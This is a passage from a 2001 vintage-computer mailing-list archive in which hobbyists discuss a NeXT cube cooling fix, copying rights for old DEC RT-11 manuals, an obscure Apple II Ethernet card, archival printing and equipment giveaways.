rmeenaks@olf.com | ---\ (----( )-------------------------------------- \_) ) / (_/ From mtapley at swri.edu Mon Jun 25 10:07:31 2001 From: mtapley at swri.edu (Mark Tapley) Date: Sun Feb 27 19:04:54 2005 Subject: NeXT cube problem fix In-Reply-To: <200106250451.XAA77425@opal.tseinc.com> Message-ID: All, I think I can finally report what was causing my intermittent NeXT cube "unexpected kernel page fault" crashes. Up-time is now over 240 hours and counting. The problems were heat, and bad ventilation. The short story is, I had the fan reversed (to blow into the cube) and had a very leaky enclosure as the first step on the cooling air path. This was due my installation of a floppy drive looking out through an optical-drive-sized aperture in the front of the cube. Clue for NeXT cube owners: seal up unused apertures and air leaks in the front of the cube. The air needs to go into the drive bay, down into the power supply, out into the motherboard bays, then out the bottom of the machine. In my case, sealing apertures alone didn't do it - I ended up putting the fan back to its original flow direction (exhausting from the cube, so that the CPU board gets the cool air *first* as it is pulled in from under the cube, rather than last as it goes out via the power supply). I also sealed up the optical and floppy apertures completely, using blocks of black foam rubber (which I'll pull temporarily in order to use the drives as needed). This may eventually cause trouble with the optical or floppy, YMMV and I don't have any long-term experience with it. I'm hoping it will minimize dust build-up in the optical, which is the original well-known reason for reversing the fan. Hope this is helpful, and many thanks to the list members that helped me with hard drives, parts, etc. The "long story" of all the stuff I tried and why I tried it is available on request, for the next few weeks at any rate (until my WORN cranial storage system has purged the details....). - Mark From foo at siconic.com Mon Jun 25 09:22:06 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:54 2005 Subject: Good Samaritan Rule? In-Reply-To: <008b01c0fd1a$6932fc60$2d00f4d8@Smith.earthlink.net> Message-ID: On Sun, 24 Jun 2001, Wayne M. Smith wrote: > Do the same rules apply to collecting and attempting to > fix computer equipment? Not the best analogy but no, not at all. > Today I posted some questions regarding an IBM S/23 I > am trying to get working (VCF 5.0 is coming up fast). <...> > > Should I simply not even try to do anything, lest I > risk criticism for doing it wrong? I don't know why anyone would consider criticizing you over this project (perhaps they can voice their objections publicly and explain their side?) You took two old monitors--one which was defective, one which was going to be thrown out--and combined the two to make one good one. Folks here do that all the time. Being a purist, the only thing I could really fault you for was altering the history of the screen with the burn in. That burn in, as crappy as it was, told part of the story of the display. But it is, after all, just a display. If you could keep the old tube, or at least take a picture of the screen, that would preserve the story. It's just a monitor, people. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Mon Jun 25 09:23:04 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:54 2005 Subject: HP 97 Calculator In-Reply-To: <3B36C36F.EE807BFE@greenbelt.com> Message-ID: On Mon, 25 Jun 2001, Eric Chomko wrote: > Doesn't Sellam have one of everything already?! I didn't, until now :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From mmcfadden at cmh.edu Mon Jun 25 10:32:39 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:04:54 2005 Subject: preserving / resurrecting old docs? Message-ID: I seem to remember that the people at the Gutenberg Project have scanned over 3000 books and made them electronically available, I know they have done a set of encyclopaedias also. I bet then know about scanning books and documents. Maybe they have a FAQ. http://promo.net/pg/ Mike mmcfadden@cmh.edu From rmeenaks at olf.com Mon Jun 25 10:35:42 2001 From: rmeenaks at olf.com (Ram Meenakshisundaram) Date: Sun Feb 27 19:04:54 2005 Subject: Recent cleaning of computer equipment Message-ID: <3B375A4D.2ECDF06A@olf.com> Hi, I am sorry if some of you guys missed out on the recent transputer stuff I gave away. In a month or so, I will be in London picking up 3 large boxes of transputer stuff (including an original mint condition IMSB001 in its original INMOS blue bag!). Due to my limited space, I will be giving away any duplicate books, software, etc to anyone who wants it. In the near future, I will also be cleaning out a warehouse full of transputer stuff (or whatever is left of it), so whatever I dont need, I'll definitely pass it along FREE OF CHARGE. I just dont have the heart to throw this out and I just cant get myself to post this on ebay especially when good people have donated all this equipment for free. I only ask that whoever wants this, just limit yourselves to *ONLY ONE* piece of equipment so that we have enough for everyone.... Cheers, Ram -- ,,,, /'^'\ ( o o ) -oOOO--(_)--OOOo------------------------------------- | Ram Meenakshisundaram | | Senior Software Engineer | | OpenLink Financial Inc | | .oooO Phone: (516) 227-6600 x267 | | ( ) Oooo. Email: rmeenaks@olf.com | ---\ (----( )-------------------------------------- \_) ) / (_/ From jhfine at idirect.com Mon Jun 25 10:45:52 2001 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 19:04:54 2005 Subject: BIG haul of DEC docs! References: <20010625064121.42002.qmail@web9504.mail.yahoo.com> Message-ID: <3B375CB0.968E687C@idirect.com> >Ethan Dicks wrote: > --- healyzh@aracnet.com wrote: > > Something to consider. It's my understanding that it is OK, to scan/copy > > the hardware doc's. However, I'm not sure that the same is true with the OS > > Manuals, in fact I'm fairly sure that it isn't OK. This is unfortunate as > > I'm guessing that there are even fewer Hobbyist with the OS doc's than have > > hardware doc's. > I have a documentation directory from the days when DEC released the right- > to-copy to customers for those docs that DEC no longer sold. If someone has > one handy, it might be good to scan it... I don't know how long mine would > take to find. I don't have the precise langage here, but it said, in effect, > if we won't sell it to you, go ahead and copy it. Jerome Fine replies: A company I helped to modify their distribution of V5.04G (December 1988) of RT-11 to be Y2K compliant could not find their old manuals. When DEC was asked to sell them a copy for V5.04G DOCs, the oldest version available at the time was for V5.05 of RT-11. This was about 4 years ago and occurred just before V5.07 was released. Note that the DOCs for V5.07 of RT-11 are composed of (so I am told) of the V5.06 DOCs plus an (approximately) 1" set of release notes for V5.07 which explain the changes between V5.06 and V5.07 of RT-11. So that would mean that V5.06 DOCs are probably considered (and maybe still V5.05 - although by this time COMPAQ probably no longer has kept any copies and Mentec is also unlikely to have any) the current DOCs and scanning would not be considered acceptable. Now as to the reason for my reply. Four years ago, DEC stated in writing that the company would be allowed to make copies of the V5.04G DOCs for use by the company. So in principle, that letter of reply supports the position that Ethan Dicks mentions about "out of print" DOCs, even and especially for operating systems. I understand that for the hobby distribution of V5.03 of RT-11 which Mentec allows users to run under the Supnik emulator, the user must acquire all information by themselves and I would presume that such acquisition includes not only the BINARY files (which are now available at least two sites) but also a copy of the DOCs since they were DEC only and are now obviously out of print. In any case, I have access to a set of V5.02 DOCs that came with a PRO350 which I will carefully guard and I know where an original DEC set of V5.04G DOCs are located which I hope to eventually obtain. The question is: "Is it worth while to do a scan now of V5.02 (or perhaps even V5.04G) or is it better to wait until V5.06 DOCs are no longer available and do the scan only once?" Don't forget that the RT-11 DOCs are about one foot of double-sided sheets (without the binders - i.e. just the paper - an estimate of 10,000 pages to be scanned?). Of course, since each page is already separated in a loose leaf binder, scanning of standard 8" * 11" sheets might be quite easy when being fed automatically - even if time consuming - and could be placed on a CD once finished. > > Keep in mind when talking about RSTS/E, RSX-11M/M+, and RT-11 manuals you're > > talking about software that you can still purchase, and Doc sets that are > > still for sale. I'm guessing Mentec, and possibly Compaq would take a dim > > view of copying these manuals. > While I wouldn't recommend copying stuff that Mentec sells, I don't think > you can get anything out of Compaq these days. For older stuff, say the RT11 > v4 docs, I doubt Mentec sells those. That is almost certain and since DEC gave permission for the V5.04G DOCs to be copied, then V4.00 from 1980 would be even more reasonable to be copied. > If you stick to the previous major versions, and especially stuff published > by Digital, not Mentec and/or Compaq, I would expect that it falls under that > notice from 15 years ago. Newer stuff is much less likely to be so liberated. For RT-11, I suspect that presently means ONLY the present V5.06 DOCs plus the V5.07 release notes. By the way, I understand that there is something in the works that is either from Mentec or Mentec approved re hobby licenses for PDP-11 operating systems. I understand that since it is being done for free, it is taking much longer than expected (it was hoped to be done already), but one aspect that will probably be included is to allow real DEC hardware - at the very least. For RT-11, the allowed versions will probably be extended to at least V5.05, but may not include V5.06, but since I am not directly involved, I will have to wait just like everyone else. I don't know if a ten year rule is being used as an implicit standard, but that may be the case if V5.06 is not allowed, but V5.05 is permitted. If this actually takes place, then the question of DOCs will be much more important since an up-to-date set is almost essential. Hopefully the news will be confirmed by the end of the year - maybe sooner - maybe before COMPAQ sells the Alpha design team. Sincerely yours, Jerome Fine From celt at chisp.net Mon Jun 25 11:06:44 2001 From: celt at chisp.net (Michael Maginnis) Date: Sun Feb 27 19:04:54 2005 Subject: Looking for info - En-link Ethernet card for the Apple II Message-ID: <3B376194.2050305@chisp.net> Found a card in the local thrift store's '99-cent grab-box-o-cards', labelled 'En-link Apple II Interface'. On the back is a rubber-stamped 'Protoype' label. A Google search turned up nothing - the only thing I could find was an obscure reference to the board in my Softalk article database: July 84, P 68 'Marketalk News' "An Ethernet-compatible interface that can make the Apple an intelligent terminal in a local-area network has been manufactured by En-Link (4706 Bond Street, Shawnee, KS 66203; 913-268-6606). Utilizing current standard LSI integrated circuits designed for Ethernet, the board performs the necessary framing, retries, and error checking required of the system. Other applications for the board include communication with remote printers and terminals, $1,250. $750 each in quantities of 100 or more." Anyone have more information about this thing? Specifically, I'd like to get my hands on a manual and software (does software even exist?) Mike http://tarnover.dyndns.org/ Tarnover - The Apple II Repository From cisin at xenosoft.com Mon Jun 25 11:17:44 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:54 2005 Subject: Corona PC, last chance. In-Reply-To: <3B36D4E1.9B6D2BD0@rain.org> Message-ID: On Sun, 24 Jun 2001, Marvin wrote: > I'm not sure how long > the Corona name was kept before it was changed to Cordata, but the name was > changed because of an objection by Smith-Corona. Cordata (Corona Data Systems) also made a laser printer controller that they marketed with a CX engine laser printer (nothing special about the printer). The printer controller's drivers would refuse to initialize on 286 or above computers. They had their own font format (supported by the POEMS font editor, which would also convert HP soft fonts), and their own formatting codes (used extensively in the XenoCopy-PC manuals), and they had an HP emulation (which I never used). If anybody really wants them, I have a few. I also have an Eiconscript board (with AT compatible drivers) that emulates Postscript. ANd, I have a bunch of JLASER cards. All of which I used to use with the Cordata (CanonCX) laser printer. -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com PO Box 1236 (510) 558-9366 Berkeley, CA 94701-1236 From celt at chisp.net Mon Jun 25 11:29:52 2001 From: celt at chisp.net (Michael Maginnis) Date: Sun Feb 27 19:04:54 2005 Subject: Punched card readers References: Message-ID: <3B376700.1060709@chisp.net> Jeff Hellige wrote: >> Ya mean that NT sunk our battleships??? > > > Thankfully, no. They've all been relegated to floating museums. > All the aircraft carriers, subs, and battleships scattered along all the > coasts as museums/tourist attractions would make quite a fleet all on > their own! Certainly you would never see anything like a battleship > ever again if the existing ones were scrapped. > > Jeff Sellam was probably referring to the 1998 incident in which the Aegis-missile cruiser USS Yorktown was left dead in the water for several hours when the ships propulsion system was shutdown by a database overflow in Windows NT. The crash was caused by a divide-by-zero error. Mike http://tarnover.dyndns.org/ Tarnover - The Apple II Repository From mrbill at mrbill.net Mon Jun 25 12:00:41 2001 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 19:04:54 2005 Subject: BIG haul of DEC docs! In-Reply-To: <3B375CB0.968E687C@idirect.com>; from jhfine@idirect.com on Mon, Jun 25, 2001 at 11:45:52AM -0400 References: <20010625064121.42002.qmail@web9504.mail.yahoo.com> <3B375CB0.968E687C@idirect.com> Message-ID: <20010625120041.U4444@mrbill.net> On Mon, Jun 25, 2001 at 11:45:52AM -0400, Jerome Fine wrote: > By the way, I understand that there is something in the works that is either from > Mentec or Mentec approved re hobby licenses for PDP-11 operating systems. > I understand that since it is being done for free, it is taking much longer than > expected (it was hoped to be done already), but one aspect that will probably > be included is to allow real DEC hardware - at the very least. For RT-11, > the allowed versions will probably be extended to at least V5.05, but may > not include V5.06, but since I am not directly involved, I will have to wait > just like everyone else. I don't know if a ten year rule is being used as an > implicit standard, but that may be the case if V5.06 is not allowed, but V5.05 > is permitted. Great! I'd emailed them about this the other day but got no response yet. > Hopefully the news will be confirmed > by the end of the year - maybe sooner - maybe before COMPAQ sells the Alpha > design team. Whoops, too late. 8-) Bill -- Bill Bradford mrbill@mrbill.net Austin, TX From celt at chisp.net Mon Jun 25 12:18:15 2001 From: celt at chisp.net (Michael Maginnis) Date: Sun Feb 27 19:04:54 2005 Subject: preserving / ressurecting old docs? References: Message-ID: <3B377257.3080005@chisp.net> Sellam Ismail wrote: > On Fri, 22 Jun 2001 healyzh@aracnet.com wrote: > > > 3.5MB for a 106 page document is still pretty bloated though. > > Could be worse - the Lisa manual scans at Applefritter are much, much worse... The 418-page Owner's manual.pdf weighs in at over 67meg... Mike http://tarnover.dyndns.org/ Tarnover - The Apple II Repository From rdd at smart.net Mon Jun 25 14:32:10 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:54 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <20010625071229.80453.qmail@web9502.mail.yahoo.com> Message-ID: On Mon, 25 Jun 2001, Ethan Dicks wrote: > --- John Foust wrote: > > Plastic-carbon toners aren't archival, be they from a copier > > or a laser printer. They re-melt, re-flow or otherwise become > court documents for court reporters, you cannot submit laser printed > or inkjet documents for certain uses - i.e., ones where they will be > stuck together, compressed in a file for decades. The documents must > be printed on an inkjet device or offset printed. What's the difference betwen an inkjet printer and an inkjet device? This problem with the output from inkjet printers running and laser printers being unuseable for long-term storage is yet another example of the preponderance of poor-quality engineering and poor product quality foisted upon consumers by corporations. Have others here noticed an increasing proliferation of misleading and down-right deceptive advertising, and more wide-spread decreases in product quality ranging from disappointing to unuseable, over the past decade or so? I'm not just referring to computer equipment, but to products ranging from basic necessities such as food to more expensive items like automobiles. It seems like the more companies tout that ISO ?000, or whavever, "quality certification," the worse things seem to get, as do the prices, which seem to rise inversely with changes in product quality and convenience. I'll bet that many corporations have adoped, if you'll pardon the language, "screw the consumer and rake in the money" as their motto. What we need is a method of good-quality printing, useful for archival quality, that's reasonably affordable to most people who already own computers. Like manhy others here have most likely experienced, I've had laser-printed pages stick together, injet printed pages become unreadable when they get a little to damp, and dot-matrix output fade out. Suggestions? -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From foo at siconic.com Mon Jun 25 13:39:09 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:54 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <3B376194.2050305@chisp.net> Message-ID: On Mon, 25 Jun 2001, Michael Maginnis wrote: > Found a card in the local thrift store's '99-cent grab-box-o-cards', > labelled 'En-link Apple II Interface'. On the back is a rubber-stamped > 'Protoype' label. A Google search turned up nothing - the only thing I > could find was an obscure reference to the board in my Softalk article > database: > > July 84, P 68 > 'Marketalk News' > > "An Ethernet-compatible interface that can make the Apple an intelligent > terminal in a local-area network has been manufactured by En-Link (4706 > Bond Street, Shawnee, KS 66203; 913-268-6606). Utilizing current > standard LSI integrated circuits designed for Ethernet, the board > performs the necessary framing, retries, and error checking required of > the system. Other applications for the board include communication with > remote printers and terminals, $1,250. $750 each in quantities of 100 > or more." Damn! Bitchin find! Good luck finding the drivers though. Talk about obscure Apple II cards. Let us know if you ever come up with anything. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Mon Jun 25 13:40:51 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:54 2005 Subject: preserving / ressurecting old docs? In-Reply-To: Message-ID: On Mon, 25 Jun 2001, R. D. Davis wrote: > Suggestions? Lighten up. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From jim at calico.litterbox.com Mon Jun 25 15:33:30 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:54 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: from "Sellam Ismail" at Jun 25, 2001 11:39:09 AM Message-ID: <200106252033.OAA08816@calico.litterbox.com> Just fyi, some bright spark in the apple2 world has created an aftermarket ethernet board for the apple2 bus. If anyone's interested enough I'll dig up the URL. If you have a GS, they've got a driver for the Marinetti tcpip stack, too. > > On Mon, 25 Jun 2001, Michael Maginnis wrote: > > > Found a card in the local thrift store's '99-cent grab-box-o-cards', > > labelled 'En-link Apple II Interface'. On the back is a rubber-stamped > > 'Protoype' label. A Google search turned up nothing - the only thing I > > could find was an obscure reference to the board in my Softalk article > > database: > > > > July 84, P 68 > > 'Marketalk News' > > > > "An Ethernet-compatible interface that can make the Apple an intelligent > > terminal in a local-area network has been manufactured by En-Link (4706 > > Bond Street, Shawnee, KS 66203; 913-268-6606). Utilizing current > > standard LSI integrated circuits designed for Ethernet, the board > > performs the necessary framing, retries, and error checking required of > > the system. Other applications for the board include communication with > > remote printers and terminals, $1,250. $750 each in quantities of 100 > > or more." > > Damn! Bitchin find! > > Good luck finding the drivers though. Talk about obscure Apple II cards. > Let us know if you ever come up with anything. > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From ard at p850ug1.demon.co.uk Mon Jun 25 12:56:16 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:54 2005 Subject: Monitor Repair Help Needed In-Reply-To: <006201c0fd13$21dfe0a0$2d00f4d8@Smith.earthlink.net> from "Wayne M. Smith" at Jun 24, 1 06:06:56 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2204 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010625/02e6ed26/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jun 25 12:58:04 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:54 2005 Subject: Monitor Repair Help Needed In-Reply-To: <007a01c0fd15$a955ffe0$2d00f4d8@Smith.earthlink.net> from "Wayne M. Smith" at Jun 24, 1 06:25:03 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 337 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010625/8be79f23/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jun 25 12:38:15 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:54 2005 Subject: Equipment needs home: Portland, OR. area In-Reply-To: <000601be47bb$cc4234e0$159ebbd8@wolf> from "Gary" at Jan 24, 99 10:05:47 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1837 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010625/43908885/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jun 25 12:40:44 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:54 2005 Subject: Trip to London, want BBC Micro stuff... In-Reply-To: <3B367BC3.FCC57124@socal.rr.com> from "charles hobbs" at Jun 24, 1 04:46:11 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 515 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010625/ff5ee444/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jun 25 13:18:51 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:54 2005 Subject: Equipment needs home: Portland, OR. area In-Reply-To: from "Mike Ford" at Jun 25, 1 03:07:24 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 806 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010625/db29a0a6/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jun 25 13:34:43 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:54 2005 Subject: Corona PC, last chance. In-Reply-To: from "Fred Cisin" at Jun 25, 1 09:17:44 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1947 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010625/9fd64bd0/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jun 25 15:26:48 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:54 2005 Subject: Good Samaritan Rule? In-Reply-To: <008b01c0fd1a$6932fc60$2d00f4d8@Smith.earthlink.net> from "Wayne M. Smith" at Jun 24, 1 06:59:03 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 10378 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010625/7fe36af4/attachment.ksh From foxvideo at wincom.net Mon Jun 25 15:47:46 2001 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 19:04:54 2005 Subject: Powersupply VTech Laser 500 ? In-Reply-To: <5.0.2.1.0.20010625154245.00a77db0@145.218.23.191> References: <5.1.0.14.0.20010625075722.00a63ec0@mail.wincom.net> <5.0.2.1.0.20010625114808.00a93010@145.218.23.191> Message-ID: <5.1.0.14.0.20010625163648.00a59e00@mail.wincom.net> At 03:44 PM 25/06/2001 +0200, you wrote: >Charlie, > >I don't believe the Laser 500 is an Apple Clone, at least not according to >this site : http://www.calweb.com/~markr/pages/Museum/Computers/Laser%20500.htm > >The Laser 500 is a somewhat rare item I suppose, a lot rarer than the 128 >at least. >What voltage does the 128 take ? > >grtz, > >Stefan. My 128 looks a lot like the photo. The power supply is marked 120v 60Hz 36VA in, 17 v DC 1.8 A out. The connector is a seven pin Din, female. I had no luck trying to get voltage measurements off it. My power supply may be defective. Regards Charlie Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor ON N8Y 3J8 foxvideo@wincom.net Check out: Camcorder Kindergarten at http://chasfoxvideo.com From celt at chisp.net Mon Jun 25 15:57:21 2001 From: celt at chisp.net (Michael Maginnis) Date: Sun Feb 27 19:04:54 2005 Subject: preserving / ressurecting old docs? References: Message-ID: <3B37A5B1.8010208@chisp.net> R. D. Davis wrote: > On Mon, 25 Jun 2001, Ethan Dicks wrote: > >>--- John Foust wrote: >> > This problem with the output from inkjet printers running and laser > printers being unuseable for long-term storage is yet another example > of the preponderance of poor-quality engineering and poor product > quality foisted upon consumers by corporations. Have others here > noticed an increasing proliferation of misleading and down-right > deceptive advertising, and more wide-spread decreases in product > quality ranging from disappointing to unuseable, over the past decade > or so? I'm not just referring to computer equipment, but to products > ranging from basic necessities such as food to more expensive items > like automobiles. It seems like the more companies tout that ISO > ?000, or whavever, "quality certification," the worse things seem to > get, as do the prices, which seem to rise inversely with changes in > product quality and convenience. I'll bet that many corporations have > adoped, if you'll pardon the language, "screw the consumer and rake in > the money" as their motto. > It didn't take the computer industry very long to figure out what the auto manufacturers have known for years: building high-quality (machines / devices, etc), relatively inexpensive parts is bad for business. Do it for too long and you'll put yourself out of business. Mike http://tarnover.dyndns.org/ Tarnover - The Apple II Repository From donm at cts.com Mon Jun 25 16:00:33 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:54 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <5.1.0.14.0.20010625060107.00a634c0@mail.wincom.net> Message-ID: On Mon, 25 Jun 2001, Charles E. Fox wrote: > At 11:29 AM 24/06/2001 -0700, you wrote: > >On Sun, 24 Jun 2001, Jeffrey S. Sharp wrote: > > > > > Quoting Sellam Ismail : > > > > so far being geeky and keeping old computer stuff around does not > > > > necessarily lead to excessive sexual encounters (I must admit to > > > > being an exception ;) > > > > > > Are you sure that isn't becuase of your "International Man of > > > Intrigue and Danger" status? > > > >I think it's the Altair 8800. Get your hands on one and women will beat a > >path to your door (that's why they always commanded such a premium on eBay > >;) > > > >Sellam Ismail Vintage Computer Festival > >------------------------------------------------------------------------------ > >International Man of Intrigue and Danger http://www.vintage.org > > I was told that an MG TD sports car was sure bait for beautiful > girls, but I have had mine for forty seven years and they haven't > appeared. Do you think I should ditch it and buy an Altair? You were mislead, Charlie. It was the TC! - don > Cheers > Charlie Fox > Chas E. Fox Video Productions > 793 Argyle Rd. Windsor ON N8Y 3J8 > foxvideo@wincom.net > Check out: > Camcorder Kindergarten at http://chasfoxvideo.com > > From curt at atari-history.com Mon Jun 25 16:08:06 2001 From: curt at atari-history.com (Curt Vendel) Date: Sun Feb 27 19:04:54 2005 Subject: Canon Cat References: Message-ID: <001301c0fdba$edf9a840$c2609040@atarihistory.com> Hi everyone, The Canon Cat from Chris H arrived today and it is truly a wonderful little machine, he also included a video tape demonstration as well as about 25 handwritten pages of instructions for use of the machine. If anyone ever needs to take this system on loan for research, photography or use at a show or something, feel free to contact me. Curt From celt at chisp.net Mon Jun 25 16:07:04 2001 From: celt at chisp.net (Michael Maginnis) Date: Sun Feb 27 19:04:54 2005 Subject: Looking for info - En-link Ethernet card for the Apple II References: <200106252033.OAA08816@calico.litterbox.com> Message-ID: <3B37A7F8.5070809@chisp.net> I found a couple of Apple II Ethernet project sites with a quick Google search: http://aiiethernet.tripod.com/ http://lancegs.a2central.com/ http://www.apple2.org/AIIEthernet.html I was hoping to be able to play with this card I found though. None of the aforementioned sites mentions the En-Link. I get the idea that not many of these things sold, or possibly, were even made. Mike http://tarnover.dyndns.org/ Tarnover - The Apple II Repository Jim Strickland wrote: > Just fyi, some bright spark in the apple2 world has created an > aftermarket ethernet board for the apple2 bus. If anyone's > interested enough I'll dig up the URL. If you have a GS, > they've got a driver for the Marinetti tcpip stack, too. > > >>On Mon, 25 Jun 2001, Michael Maginnis wrote: >> >> >>>Found a card in the local thrift store's '99-cent grab-box-o-cards', >>>labelled 'En-link Apple II Interface'. On the back is a rubber-stamped >>>'Protoype' label. A Google search turned up nothing - the only thing I >>>could find was an obscure reference to the board in my Softalk article >>>database: >>> >>>July 84, P 68 >>>'Marketalk News' >>> >>>"An Ethernet-compatible interface that can make the Apple an intelligent >>>terminal in a local-area network has been manufactured by En-Link (4706 >>>Bond Street, Shawnee, KS 66203; 913-268-6606). Utilizing current >>>standard LSI integrated circuits designed for Ethernet, the board >>>performs the necessary framing, retries, and error checking required of >>>the system. Other applications for the board include communication with >>>remote printers and terminals, $1,250. $750 each in quantities of 100 >>>or more." >>> >>Damn! Bitchin find! >> >>Good luck finding the drivers though. Talk about obscure Apple II cards. >>Let us know if you ever come up with anything. >> >>Sellam Ismail Vintage Computer Festival >>------------------------------------------------------------------------------ >>International Man of Intrigue and Danger http://www.vintage.org >> >> > > From jim at calico.litterbox.com Mon Jun 25 16:16:28 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:54 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <3B37A7F8.5070809@chisp.net> from "Michael Maginnis" at Jun 25, 2001 03:07:04 PM Message-ID: <200106252116.PAA09021@calico.litterbox.com> THe LanceGS was the card I was refering to. I don't know anything about En-Link, but remember that when I was into Apple2s any mention of an ethernet card was enough to make me salivate. Alas the lance GS came out too late for me. > > I found a couple of Apple II Ethernet project sites with a quick Google > search: > > http://aiiethernet.tripod.com/ > http://lancegs.a2central.com/ > http://www.apple2.org/AIIEthernet.html > > I was hoping to be able to play with this card I found though. None of > the aforementioned sites mentions the En-Link. I get the idea that not > many of these things sold, or possibly, were even made. > > Mike > > http://tarnover.dyndns.org/ > Tarnover - The Apple II Repository > > > Jim Strickland wrote: > > > Just fyi, some bright spark in the apple2 world has created an > > aftermarket ethernet board for the apple2 bus. If anyone's > > interested enough I'll dig up the URL. If you have a GS, > > they've got a driver for the Marinetti tcpip stack, too. > > > > > >>On Mon, 25 Jun 2001, Michael Maginnis wrote: > >> > >> > >>>Found a card in the local thrift store's '99-cent grab-box-o-cards', > >>>labelled 'En-link Apple II Interface'. On the back is a rubber-stamped > >>>'Protoype' label. A Google search turned up nothing - the only thing I > >>>could find was an obscure reference to the board in my Softalk article > >>>database: > >>> > >>>July 84, P 68 > >>>'Marketalk News' > >>> > >>>"An Ethernet-compatible interface that can make the Apple an intelligent > >>>terminal in a local-area network has been manufactured by En-Link (4706 > >>>Bond Street, Shawnee, KS 66203; 913-268-6606). Utilizing current > >>>standard LSI integrated circuits designed for Ethernet, the board > >>>performs the necessary framing, retries, and error checking required of > >>>the system. Other applications for the board include communication with > >>>remote printers and terminals, $1,250. $750 each in quantities of 100 > >>>or more." > >>> > >>Damn! Bitchin find! > >> > >>Good luck finding the drivers though. Talk about obscure Apple II cards. > >>Let us know if you ever come up with anything. > >> > >>Sellam Ismail Vintage Computer Festival > >>------------------------------------------------------------------------------ > >>International Man of Intrigue and Danger http://www.vintage.org > >> > >> > > > > > > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From marvin at rain.org Mon Jun 25 16:31:50 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:54 2005 Subject: Autologger II References: <20010611213046.25852.qmail@web4805.mail.yahoo.com> <3B25401B.9DB5AE77@rain.org> <10106120806.ZM16390@indy.dunnington.u-net.com> Message-ID: <3B37ADC6.939E8390@rain.org> Anyone know what this thing is? The markings are "AIB Systems Intelligent Answer-Back Systems", Autologger II, and "Board of Realty Information Systems". It connects to the modem and the computer. I have no docs or power supply with it, and my inclination is to disassemble it for the plastic case. If it has any historical significance though, I'll add it to the modem collection. Thanks. From mikeford at socal.rr.com Mon Jun 25 16:20:54 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:55 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: References: <3B376194.2050305@chisp.net> Message-ID: >> Found a card in the local thrift store's '99-cent grab-box-o-cards', >> labelled 'En-link Apple II Interface'. On the back is a rubber-stamped Go back to the store and turn the place 